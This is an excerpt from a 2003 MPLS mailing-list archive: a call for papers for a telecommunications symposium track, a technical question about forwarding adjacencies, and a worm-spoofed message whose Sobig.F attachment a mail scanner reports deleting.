Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjjy12502
	for <mpls-archive@lists.ietf.org>; Tue, 7 Oct 2003 15:31:14 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjjy12468;
	Tue, 7 Oct 2003 15:31:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjjw13680
	for mpls-outgoing; Tue, 7 Oct 2003 15:07:54 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjjw13665
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 7 Oct 2003 15:07:43 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjjw04526
	for <mpls@UU.NET>; Tue, 7 Oct 2003 15:03:22 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjjw23267
	for <mpls@UU.NET>; Tue, 7 Oct 2003 15:03:21 GMT
Received: from evita3.cs.fredonia.edu by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [141.238.30.15])
	id QQpjjw23250
	for <mpls@UU.NET>; Tue, 7 Oct 2003 15:03:20 GMT
Received: from zubairi (zubairi.cs.fredonia.edu [141.238.30.211])
	by evita3.cs.fredonia.edu (8.10.2/8.10.2) with SMTP id h97F3IV20435
	for <mpls@UU.NET>; Tue, 7 Oct 2003 11:03:18 -0400
Message-ID: <005e01c38ce5$1e525ee0$d31eee8d@zubairi>
Reply-To: "Junaid Ahmed Zubairi" <zubairi@cs.fredonia.edu>
From: "Junaid Ahmed Zubairi" <zubairi@cs.fredonia.edu>
To: <mpls@UU.NET>
Subject: Call for Papers: (Traffic Engineering) Applied Telecommunication Symposium
Date: Tue, 7 Oct 2003 11:10:16 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0059_01C38CC3.965BDD20"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0059_01C38CC3.965BDD20
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_005A_01C38CC3.965BDD20"


------=_NextPart_001_005A_01C38CC3.965BDD20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Greetings

I am organizing a track on traffic engineering
with protocols and devices in ATS'04 (part of
simulation technologies conference), Arlington
Virginia (Washington DC area) to be held
April 18th through 22, 2004

 This session deals with technologies and protocols for
 traffic engineering and management in modern networks.
The full CFP is enclosed as a web document. I am
 copying it below in plaintext format as well. Please
 share it with your colleagues and submit your extended
abstract by Nov 1, 2003.

 Thanks for your attention,

 Junaid

 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DCUT =
HERE=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
CALL FOR PAPERS
Track on Traffic Engineering With Protocols and Devices*
in
Applied Telecommunication Symposium (ATS)
Part of the 2004 Advanced Simulation Technologies Conference (ASTC 2004)
April 18 through April 22, 2004
Hyatt Regency Crystal City, Arlington, Virginia, USA


"Modeling and Simulation Challenges in Telecommunication Systems"



The Applied Telecommunication Symposium (ATS) is an international forum
for exchange of technical knowledge and presentation of original papers =
on
the analysis of telecommunication systems and technologies. It is =
intended
for professionals, engineers, software developers, managers, and others
interested in cellular and packet traffic characteristics, analysis of
telecommunication networks, and practitioners operating
telecommunication networks. We are looking for innovative technical
papers describing projects, applications, and research and development
work pertinent to telecommunication. The following tracks (with track
chairs listed) will be held; the topics are representative of the track,
but are not necessarily exclusive to that track:

Wireless
Chair: Dr. Hassan Rajaei, Bowling Green State University
Co-chair: Dr. Mohsen Guizani, University of Michigan
-CDMA
-UMTS
-GSM
-2.5G/3G Wireless
-Wireless Data
-Cell Traffic
-Network Performance and Engineering
- Measurements
- SPECIAL SESSION ON WLAN RESEARCH with particular emphasis on QoS, =
routing,
reliability, overload/congestion control, network security, and =
interworking
with 2.5/3G systems.

Telecommunications Business and Regulation
Chair - Dr. George Kraft, Stuart School of Business, Illinois Institute =
of
Technology
-Cost modeling
-Call center operations
-Billing models
-E-commerce

Network Management and Security
Chair: Dr. Axel Lehmann, Universitaet der Bundeswehr Muenchen
Co-chair: Dr. Wolfang Haidegger, Siemens/FTW
-Operations, Administration, Maintenance
-Overload/congestion control
-Load balancing
-Influence of security measures on network performance

Networks and Multimedia
Chair - Dr. Aftab Ahmad, Norfolk Statel University
-Internet QoS Architectures
-Network performance - analysis and simulation
-Traffic characterization
-Packet switch architecture evaluation

Modeling Techniques
Chair: Dr. Shakil Akhtar, UAE University, Al-Ain, United Arab Emirates
Co-chair: Dr. Lev Sofman, Alcatel
-Simulation techniques
-Acceleration methods
-Traffic synthesis
-Combined simulation/analytic procedures
-Metro area design and modeling

*Traffic Engineering with Protocols and Devices
*Chair:  Dr. Junaid Zubairi, SUNY at Fredonia
*Co-chair: Dr. Chia J.  Liu, AT&T Labs
*-Traffic Management and control
*-Traffic engineering architectures
*-Bandwidth management
*-GMPLS

Draft paper or extended abstract should be submitted to

http://scs.proceedingscentral.com

by November 1, 2003. Please indicate in the abstract  for which
track(s) you wish to have your paper considered for; note that the final
track selection will be at the discretion of the ATS organizers. The
abstract must include the author(s), e-mail address(es), and
affiliation.

Further information is available at
http://scs.org/confernc/astc/astc04/cfp/ats04.htm

Deadlines
Abstract/Draft paper due  - November 1, 2003
Notification of acceptance sent - November 30, 2003
Camera-ready paper due - January 31, 2004

Conference Committee

General Chair
Dr. Bohdan Bodnar
Motorola, Inc.
bbodnar1@motorola.com

Co-Chair
Dr. Hassan Rajaei
Bowling Green State University

Program Chair
Dr. George Kraft
Illinois Institute of Technology
kraft@stuart.iit.edu

Sponsored by The Society for Modeling and Simulation International
P.O. Box 17900
San Diego, CA 92177-7900
Tel 858-277-3888
Fax: 858-277-3930
E-mail scs@scs.org
http://www.scs.org

-------------------------------------------------------------------------=
---
----

For more information on the Traffic Engineering track, please contact =
the
track chairs at the following address:

Dr. Junaid Ahmed Zubairi
Department of Mathematics and Computer Science
College at Fredonia, State University of New York
Fredonia, NY 14063, USA

Tel: +1-716-673-4694
Fax: +1-508-256-8324
Email: zubairi@cs.fredonia.edu
WWW: http://www.cs.fredonia.edu/~zubairi



Dr. Chia Liu, AT&T Labs
Email: cliu@att.com






------=_NextPart_001_005A_01C38CC3.965BDD20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3806.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>Greetings<BR><BR>I am organizing a track on traffic=20
engineering<BR>with protocols and devices in ATS'04 (part =
of<BR>simulation=20
technologies conference), Arlington<BR>Virginia (Washington DC area) to =
be=20
held<BR>April 18th through 22, 2004<BR><BR>&nbsp;This session deals with =

technologies and protocols for<BR>&nbsp;traffic engineering and =
management in=20
modern networks.<BR>The full CFP is enclosed as a web document. I=20
am<BR>&nbsp;copying it below in plaintext format as well. =
Please<BR>&nbsp;share=20
it with your colleagues and submit your extended<BR>abstract by Nov 1,=20
2003.<BR><BR>&nbsp;Thanks for your=20
attention,<BR><BR>&nbsp;Junaid<BR><BR>&nbsp;=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3DCUT=20
HERE=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<BR=
>CALL FOR PAPERS<BR>Track on Traffic Engineering=20
With Protocols and Devices*<BR>in<BR>Applied Telecommunication Symposium =

(ATS)<BR>Part of the 2004 Advanced Simulation Technologies Conference =
(ASTC=20
2004)<BR>April 18 through April 22, 2004<BR>Hyatt Regency Crystal City,=20
Arlington, Virginia, USA<BR><BR><BR>"Modeling and Simulation Challenges =
in=20
Telecommunication Systems"<BR><BR><BR><BR>The Applied Telecommunication=20
Symposium (ATS) is an international forum<BR>for exchange of technical =
knowledge=20
and presentation of original papers on<BR>the analysis of =
telecommunication=20
systems and technologies. It is intended<BR>for professionals, =
engineers,=20
software developers, managers, and others<BR>interested in cellular and =
packet=20
traffic characteristics, analysis of<BR>telecommunication networks, and=20
practitioners operating<BR>telecommunication networks. We are looking =
for=20
innovative technical<BR>papers describing projects, applications, and =
research=20
and development<BR>work pertinent to telecommunication. The following =
tracks=20
(with track<BR>chairs listed) will be held; the topics are =
representative of the=20
track,<BR>but are not necessarily exclusive to that=20
track:<BR><BR>Wireless<BR>Chair: Dr. Hassan Rajaei, Bowling Green State=20
University<BR>Co-chair: Dr. Mohsen Guizani, University of=20
Michigan<BR>-CDMA<BR>-UMTS<BR>-GSM<BR>-2.5G/3G Wireless<BR>-Wireless=20
Data<BR>-Cell Traffic<BR>-Network Performance and Engineering<BR>-=20
Measurements<BR>- SPECIAL SESSION ON WLAN RESEARCH with particular =
emphasis on=20
QoS, routing,<BR>reliability, overload/congestion control, network =
security, and=20
interworking<BR>with 2.5/3G systems.<BR><BR>Telecommunications Business =
and=20
Regulation<BR>Chair - Dr. George Kraft, Stuart School of Business, =
Illinois=20
Institute of<BR>Technology<BR>-Cost modeling<BR>-Call center=20
operations<BR>-Billing models<BR>-E-commerce<BR><BR>Network Management =
and=20
Security<BR>Chair: Dr. Axel Lehmann, Universitaet der Bundeswehr=20
Muenchen<BR>Co-chair: Dr. Wolfang Haidegger, Siemens/FTW<BR>-Operations, =

Administration, Maintenance<BR>-Overload/congestion control<BR>-Load=20
balancing<BR>-Influence of security measures on network=20
performance<BR><BR>Networks and Multimedia<BR>Chair - Dr. Aftab Ahmad, =
Norfolk=20
Statel University<BR>-Internet QoS Architectures<BR>-Network performance =
-=20
analysis and simulation<BR>-Traffic characterization<BR>-Packet switch=20
architecture evaluation<BR><BR>Modeling Techniques<BR>Chair: Dr. Shakil =
Akhtar,=20
UAE University, Al-Ain, United Arab Emirates<BR>Co-chair: Dr. Lev =
Sofman,=20
Alcatel<BR>-Simulation techniques<BR>-Acceleration methods<BR>-Traffic=20
synthesis<BR>-Combined simulation/analytic procedures<BR>-Metro area =
design and=20
modeling<BR><BR>*Traffic Engineering with Protocols and =
Devices<BR>*Chair:&nbsp;=20
Dr. Junaid Zubairi, SUNY at Fredonia<BR>*Co-chair: Dr. Chia J.&nbsp; =
Liu,=20
AT&amp;T Labs<BR>*-Traffic Management and control<BR>*-Traffic =
engineering=20
architectures<BR>*-Bandwidth management<BR>*-GMPLS<BR><BR>Draft paper or =

extended abstract should be submitted to<BR><BR><A=20
href=3D"http://scs.proceedingscentral.com">http://scs.proceedingscentral.=
com</A><BR><BR>by=20
November 1, 2003. Please indicate in the abstract&nbsp; for =
which<BR>track(s)=20
you wish to have your paper considered for; note that the final<BR>track =

selection will be at the discretion of the ATS organizers. =
The<BR>abstract must=20
include the author(s), e-mail address(es), =
and<BR>affiliation.<BR><BR>Further=20
information is available at<BR><A=20
href=3D"http://scs.org/confernc/astc/astc04/cfp/ats04.htm">http://scs.org=
/confernc/astc/astc04/cfp/ats04.htm</A><BR><BR>Deadlines<BR>Abstract/Draf=
t=20
paper due&nbsp; - November 1, 2003<BR>Notification of acceptance sent - =
November=20
30, 2003<BR>Camera-ready paper due - January 31, 2004<BR><BR>Conference=20
Committee<BR><BR>General Chair<BR>Dr. Bohdan Bodnar<BR>Motorola, =
Inc.<BR><A=20
href=3D"mailto:bbodnar1@motorola.com">bbodnar1@motorola.com</A><BR><BR>Co=
-Chair<BR>Dr.=20
Hassan Rajaei<BR>Bowling Green State University<BR><BR>Program =
Chair<BR>Dr.=20
George Kraft<BR>Illinois Institute of Technology<BR><A=20
href=3D"mailto:kraft@stuart.iit.edu">kraft@stuart.iit.edu</A><BR><BR>Spon=
sored by=20
The Society for Modeling and Simulation International<BR>P.O. Box =
17900<BR>San=20
Diego, CA 92177-7900<BR>Tel 858-277-3888<BR>Fax: 858-277-3930<BR>E-mail =
<A=20
href=3D"mailto:scs@scs.org">scs@scs.org</A><BR><A=20
href=3D"http://www.scs.org">http://www.scs.org</A><BR><BR>---------------=
-------------------------------------------------------------<BR>----<BR>=
<BR>For=20
more information on the Traffic Engineering track, please contact =
the<BR>track=20
chairs at the following address:<BR><BR>Dr. Junaid Ahmed =
Zubairi<BR>Department=20
of Mathematics and Computer Science<BR>College at Fredonia, State =
University of=20
New York<BR>Fredonia, NY 14063, USA<BR><BR>Tel: +1-716-673-4694<BR>Fax:=20
+1-508-256-8324<BR>Email: <A=20
href=3D"mailto:zubairi@cs.fredonia.edu">zubairi@cs.fredonia.edu</A><BR>WW=
W: <A=20
href=3D"http://www.cs.fredonia.edu/~zubairi">http://www.cs.fredonia.edu/~=
zubairi</A><BR><BR><BR><BR>Dr.=20
Chia Liu, AT&amp;T Labs<BR>Email: <A=20
href=3D"mailto:cliu@att.com">cliu@att.com</A><BR><BR><BR><BR><BR></BODY><=
/HTML>

------=_NextPart_001_005A_01C38CC3.965BDD20--

------=_NextPart_000_0059_01C38CC3.965BDD20
Content-Type: text/html;
	name="ats2004.html"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="ats2004.html"
Content-Transfer-Encoding: quoted-printable

<!-- saved from =
url=3D(0052)http://www.isca-hq.org/SS_on_Traffic_Engineering.htm -->
<html>

<head>
<meta http-equiv=3D"Content-Type"
content=3D"text/html; charset=3Diso-8859-1">
<meta name=3D"ProgId" content=3D"FrontPage.Editor.Document">
<meta name=3D"GENERATOR" content=3D"Microsoft FrontPage Express 2.0">
<title>CFP-ATS2004-TE</title>
</head>

<body>

<h3 align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>CALL
FOR PAPERS</strong></h3>
<div align=3D"center"><center>

<table border=3D"4" width=3D"70%">
    <tr>
        <td align=3D"center" width=3D"100%" bgcolor=3D"#00FFFF"
        bordercolor=3D"#FF0000"><p align=3D"center"><a
        href=3D"#*Traffic Engineering with Protocols and Devices"><font
        color=3D"#FF0000" size=3D"4"><strong>Track on Traffic
        Engineering With Protocols and Devices*</strong></font></a></p>
        <p align=3D"center"><font color=3D"#FF0000" =
size=3D"4"><strong></strong></font>&nbsp;</p>
        </td>
    </tr>
</table>
</center></div>

<h3 align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>in
</strong></h3>

<h3 align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>Applied
Telecommunication Symposium (ATS)</strong></h3>

<h3 align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>Part
of the 2004 Advanced Simulation Technologies Conference (ASTC
2004)</strong></h3>

<h3 align=3D"center" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>April
18 through April 22, 2004<br>
Hyatt Regency Crystal City, Arlington, Virginia, USA<br>
<br>
&quot;Modeling and Simulation Challenges in Telecommunication
Systems&quot;</strong></h3>

<p align=3D"left" class=3D"MsoNormal" style=3D"TEXT-ALIGN: justify">The
Applied Telecommunication Symposium (ATS) is an international
forum for exchange of technical knowledge and presentation of
original papers on the analysis of telecommunication systems and
technologies. It is intended for professionals, engineers,
software developers, managers, and others interested in cellular
and packet traffic characteristics, analysis of telecommunication
networks, and practitioners operating telecommunication networks.
We are looking for innovative technical papers describing
projects, applications, and research and development work
pertinent to telecommunication. The following tracks (with track
chairs listed) will be held; the topics are representative of the
track, but are not necessarily exclusive to that track:</p>

<p align=3D"left" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify">&nbsp;</p>

<p align=3D"left" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>Wireless<br>
</strong>Chair: Dr. Hassan Rajaei, Bowling Green State University<br>
Co-chair: Dr. Mohsen Guizani, University of Michigan<br>
-CDMA<br>
-UMTS<br>
-GSM<br>
-2.5G/3G Wireless<br>
-Wireless Data<br>
-Cell Traffic<br>
-Network Performance and Engineering<br>
- Measurements<br>
- SPECIAL SESSION ON WLAN RESEARCH with particular emphasis on
QoS, routing, reliability, overload/congestion control, network
security, and interworking with 2.5/3G systems.<br>
<br>
<strong>Telecommunications Business and Regulation<br>
</strong>Chair - Dr. George Kraft, Stuart School of Business,
Illinois Institute of Technology<br>
-Cost modeling<br>
-Call center operations<br>
-Billing models<br>
-E-commerce<br>
<br>
<strong>Network Management and Security<br>
</strong>Chair: Dr. Axel Lehmann, Universitaet der Bundeswehr
Muenchen<br>
Co-chair: Dr. Wolfang Haidegger, Siemens/FTW<br>
-Operations, Administration, Maintenance<br>
-Overload/congestion control<br>
-Load balancing<br>
-Influence of security measures on network performance<br>
<br>
<strong>Networks and Multimedia<br>
</strong>Chair - Dr. Aftab Ahmad, DePaul University<br>
-Internet QoS Architectures<br>
-Network performance - analysis and simulation<br>
-Traffic characterization<br>
-Packet switch architecture evaluation<br>
<br>
<strong>Modeling Techniques<br>
</strong>Chair: Dr. Shakil Akhtar, UAE University, Al-Ain, United
Arab Emirates<br>
Co-chair: Dr. Lev Sofman, Alcatel<br>
-Simulation techniques<br>
-Acceleration methods<br>
-Traffic synthesis<br>
-Combined simulation/analytic procedures<br>
-Metro area design and modeling<br>
<br>
<a name=3D"*Traffic Engineering with Protocols and =
Devices"><strong>*Traffic
Engineering with Protocols and Devices<br>
</strong></a>Chair: Dr. Junaid Zubairi, SUNY at Fredonia<br>
Co-chair: Dr. Chia J. Liu, AT&amp;T Labs<br>
-Traffic Management and control<br>
-Traffic engineering architectures<br>
-Bandwidth management<br>
-GMPLS<br>
<br>
Draft paper or extended abstract should be submitted to <a
href=3D"http://scs.proceedingscentral.com">http://scs.proceedingscentral.=
com</a>
by November 1, 2003. Please indicate in the abstract for which
track(s) you wish to have your paper considered for; note that
the final track selection will be at the discretion of the ATS
organizers. The abstract must include the author(s), e-mail
address(es), and affiliation. <br>
<br>
Further information is available at <a
href=3D"http://www.scs.org/confernc/astc/astc04/cfp/ats04.htm">http://www=
.scs.org/confernc/astc/astc04/cfp/ats04.htm</a>
</p>

<p align=3D"left" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify"><strong>Conference
Committee<br>
</strong>General Chair<br>
Dr. Bohdan Bodnar<br>
Motorola, Inc.<br>
bbodnar1@motorola.com<br>
<br>
Co-Chair<br>
Dr. Ariel Sharon<br>
Lucent Technologies, Inc.<br>
asharon@lucent.com<br>
<br>
Program Chair<br>
Dr. George Kraft<br>
Illinois Institute of Technology<br>
kraft@stuart.iit.edu<br>
<br>
Sponsored by The Society for Modeling and Simulation
International<br>
P.O. Box 17900<br>
San Diego, CA 92177-7900<br>
Tel 858-277-3888<br>
Fax: 858-277-3930<br>
E-mail scs@scs.org<br>
http://www.scs.org<br>
<br>
Deadlines</p>

<table border=3D"3" width=3D"60%" bordercolor=3D"#000000">
    <tr>
        <td>Abstract/Draft paper due</td>
        <td>November 1, 2003</td>
    </tr>
    <tr>
        <td>Notification of acceptance sent</td>
        <td>November 30, 2003</td>
    </tr>
    <tr>
        <td>Camera-ready paper due</td>
        <td>January 31, 2004</td>
    </tr>
</table>

<p align=3D"left" class=3D"MsoNormal" style=3D"TEXT-ALIGN: =
justify">&nbsp;</p>

<hr size=3D"4" noshade>

<p class=3D"MsoNormal" style=3D"TEXT-ALIGN: justify"><font =
size=3D"4"><b>For
more information on the Traffic Engineering track, please contact
the track chairs at the following address:</b></font></p>

<p align=3D"center" class=3D"MsoNormal"
style=3D"MARGIN-LEFT: 0.5in; TEXT-ALIGN: justify"><b>Dr. Junaid
Ahmed Zubairi<br>
</b>Department of Mathematics and Computer Science<br>
College at Fredonia, State University of New York<br>
Fredonia, NY 14063, USA<br>
<br>
Tel: +1-716-673-4694<br>
Fax: +1-508-256-8324<br>
Email: <a =
href=3D"mailto:zubairi@cs.fredonia.edu">zubairi@cs.fredonia.edu<br>
</a>WWW: <a =
href=3D"http://www.cs.fredonia.edu/~zubairi">http://www.cs.fredonia.edu/~=
zubairi</a></p>

<p align=3D"center" class=3D"MsoNormal"
style=3D"MARGIN-LEFT: 0.5in; TEXT-ALIGN: justify">&nbsp;</p>

<p align=3D"center" class=3D"MsoNormal"
style=3D"MARGIN-LEFT: 0.5in; TEXT-ALIGN: justify"><strong>Dr. Chia
Liu, AT&amp;T Labs<br>
</strong>Email: <a href=3D"mailto:cliu@att.com">cliu@att.com</a> </p>

<p class=3D"MsoNormal"
style=3D"MARGIN-LEFT: 0.5in; TEXT-ALIGN: justify">&nbsp;</p>

<p align=3D"center">&nbsp;</p>
</body>
</html>

------=_NextPart_000_0059_01C38CC3.965BDD20--



From owner-mpls@UU.NET  Tue Oct  7 18:37:13 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26283
	for <mpls-archive@lists.ietf.org>; Tue, 7 Oct 2003 18:37:13 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjla17868
	for <mpls-archive@lists.ietf.org>; Tue, 7 Oct 2003 22:37:22 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjla17500;
	Tue, 7 Oct 2003 22:37:03 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjky07294
	for mpls-outgoing; Tue, 7 Oct 2003 22:14:35 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpjky07287
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 7 Oct 2003 22:14:27 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjky16197
	for <mpls@UU.NET>; Tue, 7 Oct 2003 22:11:45 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjky03131
	for <mpls@UU.NET>; Tue, 7 Oct 2003 22:11:45 GMT
Received: from rediffmail.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: webmail35.rediffmail.com [203.199.83.246] (may be forged))
	id QQpjky03080
	for <mpls@UU.NET>; Tue, 7 Oct 2003 22:11:43 GMT
Received: (qmail 18033 invoked by uid 510); 7 Oct 2003 17:55:23 -0000
Date: 7 Oct 2003 17:55:23 -0000
Message-ID: <20031007175523.18032.qmail@webmail35.rediffmail.com>
Received: from unknown (203.197.138.199) by rediffmail.com via HTTP; 07 oct 2003 17:55:23 -0000
MIME-Version: 1.0
From: "Anu  Divya" <anudivka@rediffmail.com>
Reply-To: "Anu  Divya" <anudivka@rediffmail.com>
To: mpls@UU.NET
Content-type: multipart/alternative;
	boundary="Next_1065549323---0-203.199.83.246-18029"
Sender: owner-mpls@UU.NET
Precedence: bulk

 This is a multipart mime message


--Next_1065549323---0-203.199.83.246-18029
Content-type: text/html;
	charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

<P>=0AHello,<BR>=0AIf the forwarding Adjaceny (FA) is numbered, what would =
be its IP address as for representation.<BR>=0A<BR>=0AThanks in advance,<BR=
>=0AAnu.=0A</P>=0A<br><br>=0A<A target=3D"_blank" HREF=3D"http://clients.re=
diff.com/signature/track_sig.asp"><IMG SRC=3D"http://ads.rediff.com/RealMed=
ia/ads/adstream_nx.cgi/www.rediffmail.com/inbox.htm@Bottom" BORDER=3D0 VSPA=
CE=3D0 HSPACE=3D0 HEIGHT=3D74 WIDTH=3D496></a>=0A
--Next_1065549323---0-203.199.83.246-18029
Content-type: text/plain;
	charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,=0AIf the forwarding Adjaceny (FA) is numbered, what would be its IP =
address as for representation.=0A=0AThanks in advance,=0AAnu.
--Next_1065549323---0-203.199.83.246-18029--



From owner-mpls@UU.NET  Wed Oct  8 06:02:34 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA08284
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 06:02:34 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjmu15396
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 10:02:43 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjmu15112;
	Wed, 8 Oct 2003 10:02:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjms09242
	for mpls-outgoing; Wed, 8 Oct 2003 09:41:38 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjms09233
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 09:41:35 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjms25712
	for <mpls@uu.net>; Wed, 8 Oct 2003 09:37:23 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjms13678
	for <mpls@uu.net>; Wed, 8 Oct 2003 09:37:22 GMT
Received: from sj-iport-3.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpjms13670
	for <mpls@uu.net>; Wed, 8 Oct 2003 09:37:21 GMT
Received: from cisco.com (64.102.124.13)
  by sj-iport-3.cisco.com with ESMTP; 08 Oct 2003 02:45:18 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h989bD5g004043
	for <mpls@uu.net>; Wed, 8 Oct 2003 05:37:18 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACZ06819;
	Wed, 8 Oct 2003 05:37:13 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h989bCv13443 for mpls@uu.net; Wed, 8 Oct 2003 05:37:12 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjms08563
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 09:35:32 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjms20370
	for <mpls@uu.net>; Wed, 8 Oct 2003 09:31:45 GMT
From: jamoussi@nortelnetworks.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphmh03717
	for <mpls@uu.net>; Wed, 24 Sep 2003 04:54:37 GMT
Message-Id: <QQphmh03717.200309240454@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Details
Date: Fri, 1 Jan 1999 0:33:45 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_001E7291"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_001E7291
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

------------------  Virus Warning Message (on the network)

Found virus WORM_SOBIG.F in file wicked_scr.scr
The uncleanable file is deleted.

---------------------------------------------------------

--_NextPart_000_001E7291
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_001E7291
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


------------------  Virus Warning Message (on the network)

